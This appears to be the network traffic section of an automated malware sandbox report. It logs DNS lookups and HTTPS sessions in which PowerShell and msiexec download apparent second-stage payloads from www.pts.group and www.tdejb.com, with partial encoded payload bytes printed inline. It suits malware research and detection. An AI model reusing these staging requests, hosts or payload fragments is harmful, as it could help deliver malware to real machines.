Dec 5, 2024 10:47:53.329945087 CET	49885	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:53.334053040 CET	49885	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:53.334073067 CET	443	49885	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:53.334352970 CET	443	49885	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:53.335057974 CET	49885	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:53.379328966 CET	443	49885	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:58.121635914 CET	443	49885	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:58.121731043 CET	443	49885	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:58.121824980 CET	49885	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:58.121916056 CET	49885	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:58.121932030 CET	443	49885	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:59.110416889 CET	49905	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:59.110497952 CET	443	49905	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:59.110620975 CET	49905	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:59.110764980 CET	49905	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:59.110779047 CET	443	49905	45.149.241.141	192.168.2.4
Dec 5, 2024 10:48:00.481781006 CET	443	49905	45.149.241.141	192.168.2.4
Dec 5, 2024 10:48:00.481930971 CET	49905	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:48:00.486032009 CET	49905	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:48:00.486038923 CET	443	49905	45.149.241.141	192.168.2.4
Dec 5, 2024 10:48:00.486243010 CET	443	49905	45.149.241.141	192.168.2.4
Dec 5, 2024 10:48:00.486955881 CET	49905	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:48:00.527329922 CET	443	49905	45.149.241.141	192.168.2.4
Dec 5, 2024 10:48:05.283695936 CET	443	49905	45.149.241.141	192.168.2.4
Dec 5, 2024 10:48:05.283791065 CET	443	49905	45.149.241.141	192.168.2.4
Dec 5, 2024 10:48:05.283834934 CET	49905	443	192.168.2.4	45.149.241.141

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 5, 2024 10:45:59.263134003 CET	64006	53	192.168.2.4	1.1.1.1
Dec 5, 2024 10:45:59.497145891 CET	53	64006	1.1.1.1	192.168.2.4
Dec 5, 2024 10:46:24.584072113 CET	56342	53	192.168.2.4	1.1.1.1
Dec 5, 2024 10:46:24.722095966 CET	53	56342	1.1.1.1	192.168.2.4
Dec 5, 2024 10:46:44.577723980 CET	51723	53	192.168.2.4	1.1.1.1
Dec 5, 2024 10:46:44.578277111 CET	59439	53	192.168.2.4	1.1.1.1
Dec 5, 2024 10:46:44.578496933 CET	58458	53	192.168.2.4	1.1.1.1
Dec 5, 2024 10:46:44.578677893 CET	62835	53	192.168.2.4	1.1.1.1
Dec 5, 2024 10:46:44.579077005 CET	54306	53	192.168.2.4	1.1.1.1
Dec 5, 2024 10:46:44.579718113 CET	56654	53	192.168.2.4	1.1.1.1
Dec 5, 2024 10:46:44.715928078 CET	53	51723	1.1.1.1	192.168.2.4
Dec 5, 2024 10:46:44.717753887 CET	53	54306	1.1.1.1	192.168.2.4
Dec 5, 2024 10:46:44.719304085 CET	53	58458	1.1.1.1	192.168.2.4
Dec 5, 2024 10:46:44.719835043 CET	53	59439	1.1.1.1	192.168.2.4
Dec 5, 2024 10:46:44.721455097 CET	53	56654	1.1.1.1	192.168.2.4
Dec 5, 2024 10:46:45.256711960 CET	53	62835	1.1.1.1	192.168.2.4
Dec 5, 2024 10:46:45.257472038 CET	60802	123	192.168.2.4	129.6.15.28
Dec 5, 2024 10:46:45.257515907 CET	60802	123	192.168.2.4	216.239.35.0
Dec 5, 2024 10:46:45.257618904 CET	60802	123	192.168.2.4	62.149.0.30
Dec 5, 2024 10:46:45.257644892 CET	60802	123	192.168.2.4	162.159.200.123
Dec 5, 2024 10:46:45.257685900 CET	60802	123	192.168.2.4	213.239.239.164
Dec 5, 2024 10:46:46.340468884 CET	123	60802	162.159.200.123	192.168.2.4
Dec 5, 2024 10:46:46.346821070 CET	123	60802	216.239.35.0	192.168.2.4
Dec 5, 2024 10:46:46.348128080 CET	123	60802	129.6.15.28	192.168.2.4
Dec 5, 2024 10:46:46.439481020 CET	123	60802	213.239.239.164	192.168.2.4
Dec 5, 2024 10:46:46.447386980 CET	123	60802	62.149.0.30	192.168.2.4
Dec 5, 2024 10:46:53.084675074 CET	53	62188	1.1.1.1	192.168.2.4
Dec 5, 2024 10:46:53.851927996 CET	53	65031	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 5, 2024 10:46:53.907377958 CET	192.168.2.4	1.1.1.1	c233	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 5, 2024 10:45:59.263134003 CET	192.168.2.4	1.1.1.1	0x2a36	Standard query (0)	www.pts.group	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:46:24.584072113 CET	192.168.2.4	1.1.1.1	0xda17	Standard query (0)	www.tdejb.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:46:44.577723980 CET	192.168.2.4	1.1.1.1	0xe3f2	Standard query (0)	time.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:46:44.578277111 CET	192.168.2.4	1.1.1.1	0x1f20	Standard query (0)	ntp.time.in.ua	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:46:44.578496933 CET	192.168.2.4	1.1.1.1	0x9eb6	Standard query (0)	time.google.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:46:44.578677893 CET	192.168.2.4	1.1.1.1	0x2028	Standard query (0)	ts1.aco.net	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:46:44.579077005 CET	192.168.2.4	1.1.1.1	0xbf6d	Standard query (0)	ntp1.hetzner.de	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:46:44.579718113 CET	192.168.2.4	1.1.1.1	0xc393	Standard query (0)	time-a-g.nist.gov	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 5, 2024 10:45:59.497145891 CET	1.1.1.1	192.168.2.4	0x2a36	No error (0)	www.pts.group	pts.group		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 10:45:59.497145891 CET	1.1.1.1	192.168.2.4	0x2a36	No error (0)	pts.group		68.66.226.116	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:46:24.722095966 CET	1.1.1.1	192.168.2.4	0xda17	No error (0)	www.tdejb.com	tdejb.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 10:46:24.722095966 CET	1.1.1.1	192.168.2.4	0xda17	No error (0)	tdejb.com		202.71.109.228	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:46:44.715928078 CET	1.1.1.1	192.168.2.4	0xe3f2	No error (0)	time.cloudflare.com		162.159.200.123	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:46:44.715928078 CET	1.1.1.1	192.168.2.4	0xe3f2	No error (0)	time.cloudflare.com		162.159.200.1	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:46:44.717753887 CET	1.1.1.1	192.168.2.4	0xbf6d	No error (0)	ntp1.hetzner.de		213.239.239.164	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:46:44.719304085 CET	1.1.1.1	192.168.2.4	0x9eb6	No error (0)	time.google.com		216.239.35.0	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:46:44.719304085 CET	1.1.1.1	192.168.2.4	0x9eb6	No error (0)	time.google.com		216.239.35.8	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:46:44.719304085 CET	1.1.1.1	192.168.2.4	0x9eb6	No error (0)	time.google.com		216.239.35.4	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:46:44.719304085 CET	1.1.1.1	192.168.2.4	0x9eb6	No error (0)	time.google.com		216.239.35.12	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:46:44.719835043 CET	1.1.1.1	192.168.2.4	0x1f20	No error (0)	ntp.time.in.ua		62.149.0.30	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:46:44.721455097 CET	1.1.1.1	192.168.2.4	0xc393	No error (0)	time-a-g.nist.gov		129.6.15.28	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:46:45.256711960 CET	1.1.1.1	192.168.2.4	0x2028	Server failure (2)	ts1.aco.net	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.pts.group

www.tdejb.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	68.66.226.116	443	7020	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 09:46:01 UTC	178	OUT	GET /ab/infantrymen.deploy HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: www.pts.group Connection: Keep-Alive
2024-12-05 09:46:01 UTC	530	IN	HTTP/1.1 200 OK Connection: close content-type: application/octet-stream last-modified: Wed, 04 Dec 2024 11:10:46 GMT accept-ranges: bytes content-length: 444692 date: Thu, 05 Dec 2024 09:46:01 GMT server: LiteSpeed strict-transport-security: max-age=63072000; includeSubDomains x-frame-options: SAMEORIGIN x-content-type-options: nosniff alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-12-05 09:46:01 UTC	16384	IN	Data Raw: 36 77 4b 53 69 33 45 42 6d 37 73 6b 57 42 67 41 36 77 49 78 33 58 45 42 6d 77 4e 63 4a 41 52 78 41 5a 76 72 41 71 45 52 75 57 51 6d 2b 78 72 72 41 69 6d 48 36 77 4a 4e 6e 34 48 78 69 58 74 66 75 65 73 43 6f 65 46 78 41 5a 75 42 36 65 31 64 70 4b 4e 78 41 5a 76 72 41 71 38 62 36 77 49 49 50 2b 73 43 67 4a 32 36 53 6a 33 34 44 75 73 43 67 71 58 72 41 6d 75 61 36 77 49 50 39 6e 45 42 6d 7a 48 4b 63 51 47 62 63 51 47 62 69 52 51 4c 63 51 47 62 36 77 4c 36 56 64 48 69 63 51 47 62 63 51 47 62 67 38 45 45 36 77 4b 33 6c 4f 73 43 63 57 32 42 2b 5a 77 4b 55 51 4a 38 7a 48 45 42 6d 2b 73 43 46 68 57 4c 52 43 51 45 63 51 47 62 63 51 47 62 69 63 4e 78 41 5a 76 72 41 6a 6a 70 67 63 4d 49 74 49 49 42 36 77 4a 58 59 33 45 42 6d 37 6f 79 33 56 4c 52 63 51 47 62 36 77 4a Data Ascii: 6wKSi3EBm7skWBgA6wIx3XEBmwNcJARxAZvrAqERuWQm+xrrAimH6wJNn4HxiXtfuesCoeFxAZuB6e1dpKNxAZvrAq8b6wIIP+sCgJ26Sj34DusCgqXrAmua6wIP9nEBmzHKcQGbcQGbiRQLcQGb6wL6VdHicQGbcQGbg8EE6wK3lOsCcW2B+ZwKUQJ8zHEBm+sCFhWLRCQEcQGbcQGbicNxAZvrAjjpgcMItIIB6wJXY3EBm7oy3VLRcQGb6wJ
2024-12-05 09:46:01 UTC	16384	IN	Data Raw: 56 4b 61 32 41 41 35 4f 73 34 6e 6b 57 53 63 6e 69 37 77 6d 4d 33 48 32 59 4d 47 62 66 31 6f 65 69 36 52 5a 46 67 7a 50 73 61 2b 44 72 75 67 6a 6c 79 6a 59 38 6e 4a 42 62 6d 51 4b 70 42 61 74 2b 73 35 44 71 46 75 64 30 77 70 49 6e 44 62 37 69 4a 69 2f 52 4f 46 43 59 56 4d 59 4a 71 4e 77 75 75 53 38 38 59 30 45 75 51 76 43 46 41 69 66 44 6b 37 68 61 44 75 63 61 4c 59 6b 54 4f 45 7a 67 35 34 74 6b 39 33 4b 6b 2f 6c 48 61 2b 31 46 76 4b 4f 74 4e 57 32 63 54 65 41 49 41 5a 70 71 47 7a 46 42 59 31 6a 30 65 63 5a 35 45 47 44 5a 2f 57 67 6b 57 34 75 4d 5a 67 68 62 52 47 67 35 51 45 64 4d 50 44 6b 46 41 2f 64 52 33 6c 77 39 54 69 67 2f 79 79 57 49 68 2b 4e 64 42 49 46 63 53 4e 6c 4c 42 33 4d 70 73 34 67 79 71 59 59 32 49 52 33 30 34 69 76 66 30 2f 65 6a 50 7a 6f Data Ascii: VKa2AA5Os4nkWScni7wmM3H2YMGbf1oei6RZFgzPsa+DrugjlyjY8nJBbmQKpBat+s5DqFud0wpInDb7iJi/ROFCYVMYJqNwuuS88Y0EuQvCFAifDk7haDucaLYkTOEzg54tk93Kk/lHa+1FvKOtNW2cTeAIAZpqGzFBY1j0ecZ5EGDZ/WgkW4uMZghbRGg5QEdMPDkFA/dR3lw9Tig/yyWIh+NdBIFcSNlLB3Mps4gyqYY2IR304ivf0/ejPzo
2024-12-05 09:46:01 UTC	16384	IN	Data Raw: 4a 54 78 39 36 33 57 55 4b 6a 38 31 45 57 69 4f 6e 45 2f 68 4d 38 59 79 61 6e 6c 79 72 34 35 71 58 37 72 71 7a 43 32 57 71 63 74 66 74 4b 52 74 6a 6d 4d 56 62 51 4e 77 75 73 2b 6a 35 4f 50 4d 59 59 5a 70 57 52 71 38 68 64 55 62 56 6b 53 4a 57 37 56 64 55 72 57 7a 6f 68 47 54 7a 77 35 6c 69 4b 59 6c 73 76 33 6c 46 5a 56 79 48 56 6f 41 46 74 68 38 73 75 48 4b 68 43 50 42 7a 79 4c 7a 69 59 79 67 73 76 6b 38 74 58 73 65 78 2b 70 31 4c 33 73 70 76 58 34 4b 38 48 70 45 48 57 4b 33 33 58 51 31 39 6b 68 64 55 69 4b 72 38 37 6c 69 38 73 5a 2f 61 49 75 4a 46 53 6c 72 48 62 43 4b 4b 6e 76 37 79 34 75 2f 59 66 6e 33 31 32 44 61 4e 38 4d 47 55 6f 4e 48 2b 37 77 34 76 6b 66 5a 4e 33 4d 39 6a 42 30 7a 64 74 65 37 70 67 36 32 59 30 77 6e 47 48 6c 77 4c 5a 54 44 44 52 63 Data Ascii: JTx963WUKj81EWiOnE/hM8Yyanlyr45qX7rqzC2WqctftKRtjmMVbQNwus+j5OPMYYZpWRq8hdUbVkSJW7VdUrWzohGTzw5liKYlsv3lFZVyHVoAFth8suHKhCPBzyLziYygsvk8tXsex+p1L3spvX4K8HpEHWK33XQ19khdUiKr87li8sZ/aIuJFSlrHbCKKnv7y4u/Yfn312DaN8MGUoNH+7w4vkfZN3M9jB0zdte7pg62Y0wnGHlwLZTDDRc
2024-12-05 09:46:01 UTC	16384	IN	Data Raw: 35 53 75 49 47 4e 67 6b 73 46 33 76 75 39 59 69 74 58 73 5a 33 63 6e 72 76 6c 47 4c 2f 32 38 45 39 71 76 6a 69 39 6e 30 6f 59 4e 33 6a 6d 6a 31 58 42 31 61 57 66 2f 4e 6c 62 4c 68 51 4a 73 42 49 4d 38 53 57 38 6f 63 4a 4c 4c 35 65 6c 73 77 68 52 39 39 75 75 74 50 2b 4b 35 73 79 7a 4e 44 42 38 79 71 45 49 59 58 6e 53 6b 41 75 49 61 6f 65 62 51 61 69 39 6e 65 4d 50 6f 4f 63 37 79 61 6a 34 32 34 73 2f 51 38 75 72 69 2f 4b 2b 4d 7a 43 73 64 63 37 67 74 4f 34 62 72 56 47 57 71 4f 31 30 2f 68 4d 31 72 32 7a 68 59 6e 54 4f 52 2b 46 6a 30 76 42 67 4d 35 7a 79 77 2f 7a 55 62 42 52 30 76 72 58 49 6b 7a 73 4b 2b 44 72 2b 41 79 6c 33 59 72 53 79 68 2f 4b 62 31 78 67 33 73 67 66 61 57 50 52 46 48 41 43 67 76 31 78 37 6a 56 56 54 59 52 2f 70 43 4f 68 67 39 70 37 61 72 Data Ascii: 5SuIGNgksF3vu9YitXsZ3cnrvlGL/28E9qvji9n0oYN3jmj1XB1aWf/NlbLhQJsBIM8SW8ocJLL5elswhR99uutP+K5syzNDB8yqEIYXnSkAuIaoebQai9neMPoOc7yaj424s/Q8uri/K+MzCsdc7gtO4brVGWqO10/hM1r2zhYnTOR+Fj0vBgM5zyw/zUbBR0vrXIkzsK+Dr+Ayl3YrSyh/Kb1xg3sgfaWPRFHACgv1x7jVVTYR/pCOhg9p7ar
2024-12-05 09:46:01 UTC	16384	IN	Data Raw: 6d 67 62 45 5a 67 52 79 35 37 79 42 62 74 31 4d 72 6d 74 6e 30 50 51 4a 4c 48 7a 7a 58 6f 79 75 62 4c 6b 6d 5a 67 6b 51 5a 64 64 51 78 79 63 38 43 6c 6a 68 4d 77 70 4f 34 54 4d 4b 54 75 45 7a 43 6b 37 68 4d 2f 44 68 2b 4d 66 55 50 4d 6a 6e 73 7a 69 6b 4c 49 69 36 7a 72 37 45 2f 72 77 37 72 42 6b 62 4e 62 41 54 41 37 4b 46 43 55 74 6c 67 66 74 31 4d 67 70 4f 68 7a 7a 4e 65 4f 45 7a 43 6b 37 68 4d 77 70 4f 34 54 4d 4b 54 75 48 75 77 48 65 38 67 4d 49 65 57 5a 55 32 49 69 45 47 69 77 72 62 70 53 65 2f 34 4f 55 63 65 30 4e 47 50 69 62 4d 70 77 6a 36 74 6d 43 57 78 77 49 36 43 64 50 59 77 33 5a 4c 64 77 34 4b 6b 34 73 77 30 4a 30 36 48 6d 6f 36 69 6e 5a 52 6f 78 6c 74 58 79 49 37 70 4a 63 32 49 38 6c 52 46 36 49 47 73 58 46 39 4b 58 6b 6b 67 4c 4a 33 4d 72 4d Data Ascii: mgbEZgRy57yBbt1Mrmtn0PQJLHzzXoyubLkmZgkQZddQxyc8CljhMwpO4TMKTuEzCk7hM/Dh+MfUPMjnszikLIi6zr7E/rw7rBkbNbATA7KFCUtlgft1MgpOhzzNeOEzCk7hMwpO4TMKTuHuwHe8gMIeWZU2IiEGiwrbpSe/4OUce0NGPibMpwj6tmCWxwI6CdPYw3ZLdw4Kk4sw0J06Hmo6inZRoxltXyI7pJc2I8lRF6IGsXF9KXkkgLJ3MrM
2024-12-05 09:46:01 UTC	16384	IN	Data Raw: 2f 59 30 48 7a 4b 31 69 59 44 50 58 70 6c 4e 30 69 33 36 69 2b 53 49 6d 59 41 50 43 51 46 38 61 4d 71 6a 6b 71 69 6e 35 36 52 36 66 62 56 59 37 7a 55 36 42 49 45 59 78 59 41 4d 4a 2f 78 49 61 69 33 35 43 55 78 50 4a 59 41 4e 31 57 39 79 69 4d 71 69 48 43 74 6c 4c 47 42 7a 4c 52 73 7a 47 4a 59 2f 70 78 63 78 6e 4a 6a 50 59 35 74 6b 51 6a 35 61 48 44 70 37 71 59 42 73 6d 73 5a 6a 64 69 33 36 50 47 79 44 35 68 37 62 4b 7a 39 45 73 6a 48 65 39 39 49 38 53 34 7a 4d 4b 72 4a 4d 77 51 38 39 55 62 77 68 4f 34 64 74 47 31 56 79 79 70 78 4c 6a 4d 77 71 38 79 66 6a 52 4b 47 54 68 69 38 75 39 4d 51 70 4f 43 74 6b 34 71 57 58 78 53 72 46 73 62 77 68 4f 34 55 62 39 44 69 59 7a 74 6b 68 76 43 59 74 2b 75 71 38 42 4c 59 65 32 30 4d 2f 52 44 7a 2b 33 2b 38 54 4a 4c 7a 66 Data Ascii: /Y0HzK1iYDPXplN0i36i+SImYAPCQF8aMqjkqin56R6fbVY7zU6BIEYxYAMJ/xIai35CUxPJYAN1W9yiMqiHCtlLGBzLRszGJY/pxcxnJjPY5tkQj5aHDp7qYBsmsZjdi36PGyD5h7bKz9EsjHe99I8S4zMKrJMwQ89UbwhO4dtG1VyypxLjMwq8yfjRKGThi8u9MQpOCtk4qWXxSrFsbwhO4Ub9DiYztkhvCYt+uq8BLYe20M/RDz+3+8TJLzf
2024-12-05 09:46:02 UTC	16384	IN	Data Raw: 43 30 37 68 73 2f 65 59 5a 63 7a 69 69 41 62 4d 39 63 64 30 78 77 74 4f 34 59 6e 74 53 77 72 46 4d 72 42 67 32 64 50 71 72 39 76 38 69 65 36 79 79 4f 54 4c 70 76 6e 50 49 33 70 2b 67 42 78 68 6a 71 70 71 70 76 35 50 34 54 50 69 72 72 45 77 43 73 34 61 4a 6c 4a 33 4d 4e 71 56 54 75 45 7a 6a 72 42 6f 6a 74 42 50 34 54 4f 31 36 4f 4d 58 74 73 38 57 7a 6a 46 58 63 4c 4c 39 37 79 34 6a 73 53 68 67 7a 58 67 67 59 45 35 32 5a 50 4d 7a 43 6b 46 6c 55 5a 4f 78 48 72 4c 6c 74 44 63 65 6e 42 6b 58 38 68 48 46 58 4f 6b 4c 54 75 48 62 34 42 50 69 4d 32 79 35 4a 39 48 33 78 33 53 77 43 30 37 68 75 73 67 6f 5a 50 6c 59 4b 47 54 6a 67 64 74 69 4d 67 70 4f 43 56 48 37 73 52 35 62 71 2b 4a 47 64 34 75 31 4e 6f 47 62 5a 49 65 79 39 5a 2b 38 73 69 5a 71 58 5a 70 50 75 57 41 Data Ascii: C07hs/eYZcziiAbM9cd0xwtO4YntSwrFMrBg2dPqr9v8ie6yyOTLpvnPI3p+gBxhjqpqpv5P4TPirrEwCs4aJlJ3MNqVTuEzjrBojtBP4TO16OMXts8WzjFXcLL97y4jsShgzXggYE52ZPMzCkFlUZOxHrLltDcenBkX8hHFXOkLTuHb4BPiM2y5J9H3x3SwC07husgoZPlYKGTjgdtiMgpOCVH7sR5bq+JGd4u1NoGbZIey9Z+8siZqXZpPuWA
2024-12-05 09:46:02 UTC	16384	IN	Data Raw: 2b 58 4c 5a 76 44 37 50 43 71 77 58 39 39 70 6a 6c 73 63 42 4d 68 4c 54 5a 50 31 35 61 66 39 70 33 2f 41 4c 4d 4b 66 53 4e 46 2f 44 78 45 36 30 6b 71 6c 72 2b 4f 6b 74 51 65 63 5a 30 59 2f 76 66 68 4b 2b 4b 7a 6f 78 37 57 6b 61 6b 45 38 38 72 73 51 41 6d 6b 4c 4c 4f 57 75 4f 73 62 71 79 50 6d 6f 58 75 39 4e 44 73 6f 6a 52 4b 4f 42 36 69 37 30 76 4d 34 6e 63 59 4d 44 36 66 73 74 76 69 37 30 45 5a 4b 4c 4a 73 4b 2b 44 72 2b 67 71 6c 79 68 6b 77 48 68 71 6a 55 76 4d 4e 62 59 70 53 79 59 47 47 71 66 55 78 59 51 39 72 4f 65 4e 71 79 35 62 6f 67 49 49 57 74 77 70 39 53 7a 56 49 59 43 71 46 74 77 43 57 33 79 4f 6c 37 69 32 77 42 56 67 48 79 37 77 31 51 31 36 78 33 7a 62 43 30 37 68 75 73 6b 64 74 34 30 77 6a 65 33 73 69 37 69 61 38 72 6e 59 59 4d 55 6e 5a 31 35 Data Ascii: +XLZvD7PCqwX99pjlscBMhLTZP15af9p3/ALMKfSNF/DxE60kqlr+OktQecZ0Y/vfhK+Kzox7WkakE88rsQAmkLLOWuOsbqyPmoXu9NDsojRKOB6i70vM4ncYMD6fstvi70EZKLJsK+Dr+gqlyhkwHhqjUvMNbYpSyYGGqfUxYQ9rOeNqy5bogIIWtwp9SzVIYCqFtwCW3yOl7i2wBVgHy7w1Q16x3zbC07huskdt40wje3si7ia8rnYYMUnZ15
2024-12-05 09:46:02 UTC	16384	IN	Data Raw: 43 6b 37 68 74 74 4c 31 6b 67 45 39 42 47 44 41 56 30 55 4e 54 49 2b 65 59 4d 42 34 52 4d 4c 68 62 4d 73 78 73 73 6e 6f 4c 54 51 53 70 59 61 49 65 45 70 61 37 46 6e 31 37 46 33 75 55 47 4c 49 42 6b 46 6c 6a 52 31 4e 34 57 69 4c 76 66 67 4f 65 73 4a 6c 78 34 75 78 50 6e 78 4e 58 32 44 41 58 68 74 36 49 32 79 35 49 67 67 6d 7a 35 78 50 46 58 62 68 4d 77 58 44 6c 67 72 31 73 57 44 59 4d 53 4b 78 63 49 36 78 43 68 47 78 71 57 64 33 35 63 38 53 66 30 45 68 50 41 72 62 7a 78 4c 38 6f 47 4f 6f 73 73 6e 79 65 63 71 4f 4b 42 62 30 75 31 49 4b 4d 59 36 6f 5a 4f 76 4a 7a 78 35 74 4c 55 75 62 74 2f 54 4c 4b 4c 66 61 4a 6f 66 6d 50 68 5a 67 42 79 36 68 48 7a 35 7a 4b 4e 6a 6a 4d 6f 56 67 42 79 34 54 38 64 52 59 79 69 69 79 38 4a 39 47 30 47 54 50 35 52 64 70 6d 63 43 Data Ascii: Ck7httL1kgE9BGDAV0UNTI+eYMB4RMLhbMsxssnoLTQSpYaIeEpa7Fn17F3uUGLIBkFljR1N4WiLvfgOesJlx4uxPnxNX2DAXht6I2y5Iggmz5xPFXbhMwXDlgr1sWDYMSKxcI6xChGxqWd35c8Sf0EhPArbzxL8oGOossnyecqOKBb0u1IKMY6oZOvJzx5tLUubt/TLKLfaJofmPhZgBy6hHz5zKNjjMoVgBy4T8dRYyiiy8J9G0GTP5RdpmcC
2024-12-05 09:46:02 UTC	16384	IN	Data Raw: 43 6b 37 68 4d 77 70 4f 34 54 4d 4b 54 6a 79 47 6e 6e 4e 33 55 32 4c 7a 73 54 6e 39 48 56 6f 74 30 35 42 4a 73 76 6e 45 4f 31 52 51 7a 78 49 6a 5a 50 63 54 75 67 48 52 38 6e 35 6f 53 4a 55 49 2b 2f 34 36 59 4d 56 6e 35 62 50 6e 48 4f 57 43 39 45 46 48 76 6d 68 52 59 70 67 38 35 4f 36 64 4b 2f 2b 4f 42 5a 47 74 75 76 2b 75 4a 30 39 34 6d 4a 58 59 6b 6f 49 30 75 72 53 58 4a 4c 6b 37 34 37 32 7a 70 6c 44 7a 36 72 5a 34 36 68 52 79 57 5a 54 42 2b 6f 4e 38 59 44 63 75 55 5a 61 6e 32 42 68 66 39 51 59 64 6d 4c 4c 38 30 5a 61 47 38 38 38 50 70 79 6e 5a 4e 72 4c 38 5a 6c 6a 6d 76 38 38 50 76 4e 6a 55 2f 62 6f 4d 70 59 45 67 58 30 6e 4c 4e 47 77 35 6f 37 4e 45 2b 6d 47 6c 35 57 78 44 6d 5a 79 79 7a 32 67 51 79 51 6b 63 75 4b 4d 51 61 5a 56 71 71 6f 4a 55 7a 39 55 Data Ascii: Ck7hMwpO4TMKTjyGnnN3U2LzsTn9HVot05BJsvnEO1RQzxIjZPcTugHR8n5oSJUI+/46YMVn5bPnHOWC9EFHvmhRYpg85O6dK/+OBZGtuv+uJ094mJXYkoI0urSXJLk7472zplDz6rZ46hRyWZTB+oN8YDcuUZan2Bhf9QYdmLL80ZaG888PpynZNrL8Zljmv88PvNjU/boMpYEgX0nLNGw5o7NE+mGl5WxDmZyyz2gQyQkcuKMQaZVqqoJUz9U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	202.71.109.228	443	5660	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 09:46:26 UTC	167	OUT	GET /ab/ab.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: www.tdejb.com Cache-Control: no-cache
2024-12-05 09:46:27 UTC	223	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 09:46:26 GMT Server: Apache Last-Modified: Tue, 03 Dec 2024 03:27:16 GMT Accept-Ranges: bytes Content-Length: 449600 Connection: close Content-Type: application/octet-stream
2024-12-05 09:46:27 UTC	7969	IN	Data Raw: e4 47 1f 45 3d dd a3 e0 6d 19 db 76 50 37 22 40 fe 29 88 ff 9c 7c 0b 11 04 fc dc ee e6 0b c2 1d 5b 94 dc 82 ef c4 e7 1d a6 e1 fc 84 69 99 af 58 1e ab b9 4a 0e e6 e3 79 a1 6a 74 10 24 8a a5 2d 99 5f fa f9 c4 a1 54 94 8c 94 52 0a 80 b8 26 bd 1e c1 35 f2 74 cf a0 2d 09 a9 df 4e 72 07 af 69 cf 13 e3 0d 6c dc c7 08 65 4d 87 fd 1e 2a a4 07 d2 85 a5 7c af 18 58 d6 ba 87 3d 88 2e 1d 14 a3 fe 66 f0 79 4c 83 90 93 0e e0 9d 4f ba 29 bb e4 92 a6 c0 1c e2 c6 08 f3 81 d7 02 23 81 aa ba 4e 27 17 4d 26 b2 ff c2 bf b0 a6 81 b2 f1 71 1f 79 99 0e c2 4f 27 85 34 34 7c 30 d9 12 e9 25 80 c6 b0 59 04 58 35 50 ed 39 a6 ec d5 7a ad 85 7b 00 f9 03 d9 7f 04 ea fc ec 2f 3d c7 fd 5c 46 c3 3f 1a fb b9 21 ab 26 0a ec 6c ee ec 9c 7a e5 08 31 cb 0a 50 64 fd ae 9e a5 ee 74 60 6e 6d a3 0c Data Ascii: GE=mvP7"@)\|[iXJyjt$-_TR&5t-NrileM*\|X=.fyLO)#N'M&qyO'44\|0%YX5P9z{/=\F?!&lz1Pdt`nm
